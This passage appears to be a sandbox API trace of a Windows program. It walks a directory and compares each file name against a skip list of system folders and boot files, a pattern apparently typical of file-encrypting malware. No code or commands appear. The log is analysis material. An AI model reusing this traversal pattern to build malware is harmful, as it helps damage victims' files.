lpString2="..") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="...") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="windows") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="rsa") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="NTDETECT.COM") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="ntldr") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="MSDOS.SYS") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="IO.SYS") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="boot.ini") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="boot.ini") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="ntuser.dat") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="desktop.ini") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="CONFIG.SYS") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="RECYCLER") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="bootmgr") returned 1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="programdata") returned -1 [0099.409] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="appdata") returned 1 [0099.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll", lpUsedDefaultChar=0x0) returned 17 [0099.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll", lpUsedDefaultChar=0x0) returned 17 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll", lpUsedDefaultChar=0x0) returned 17 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0099.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll", lpUsedDefaultChar=0x0) returned 17 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94158 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.410] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="...") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="windows") returned -1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="rsa") returned -1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="NTDETECT.COM") returned -1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="ntldr") returned -1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="MSDOS.SYS") returned -1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="IO.SYS") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="boot.ini") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="boot.ini") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="ntuser.dat") returned -1 [0099.410] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="desktop.ini") returned 1 [0099.411] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="CONFIG.SYS") returned 1 [0099.411] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="RECYCLER") returned -1 [0099.411] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.411] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="bootmgr") returned 1 [0099.411] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="programdata") returned -1 [0099.411] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="appdata") returned 1 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll", lpUsedDefaultChar=0x0) returned 18 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll", lpUsedDefaultChar=0x0) returned 18 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll", lpUsedDefaultChar=0x0) returned 18 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSProfilerCore.dll", lpUsedDefaultChar=0x0) returned 18 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.411] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0099.411] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0099.411] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0099.411] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="...") returned 1 [0099.411] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="windows") returned -1 [0099.411] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="rsa") returned -1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="NTDETECT.COM") returned -1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="ntldr") returned -1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="MSDOS.SYS") returned -1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="IO.SYS") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="boot.ini") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="boot.ini") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="ntuser.dat") returned -1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="desktop.ini") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="CONFIG.SYS") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="RECYCLER") returned -1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="bootmgr") returned 1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="programdata") returned -1 [0099.412] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="appdata") returned 1 [0099.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll", lpUsedDefaultChar=0x0) returned 16 [0099.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll", lpUsedDefaultChar=0x0) returned 16 [0099.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll", lpUsedDefaultChar=0x0) returned 16 [0099.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsprofilerui.dll", lpUsedDefaultChar=0x0) returned 16 [0099.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0099.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.413] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="...") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="windows") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="rsa") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="NTDETECT.COM") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="ntldr") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="MSDOS.SYS") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="IO.SYS") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="boot.ini") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="boot.ini") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="ntuser.dat") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="desktop.ini") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="CONFIG.SYS") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="RECYCLER") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="bootmgr") returned 1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="programdata") returned -1 [0099.413] lstrcmpiW (lpString1="msdbg2.dll", lpString2="appdata") returned 1 [0099.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdbg2.dll", lpUsedDefaultChar=0x0) returned 10 [0099.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdbg2.dll", lpUsedDefaultChar=0x0) returned 10 [0099.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdbg2.dll", lpUsedDefaultChar=0x0) returned 10 [0099.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0099.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdbg2.dll", lpUsedDefaultChar=0x0) returned 10 [0099.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0099.414] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9730dc0, ftCreationTime.dwHighDateTime=0x1d51708, ftLastAccessTime.dwLowDateTime=0x77281780, ftLastAccessTime.dwHighDateTime=0x1d5447b, ftLastWriteTime.dwLowDateTime=0x77281780, ftLastWriteTime.dwHighDateTime=0x1d5447b, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="msierugs.exe", cAlternateFileName="")) returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2=".") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="..") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="...") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="windows") returned -1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="rsa") returned -1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="NTDETECT.COM") returned -1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="ntldr") returned -1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="MSDOS.SYS") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="IO.SYS") returned 1 [0099.414] lstrcmpiW 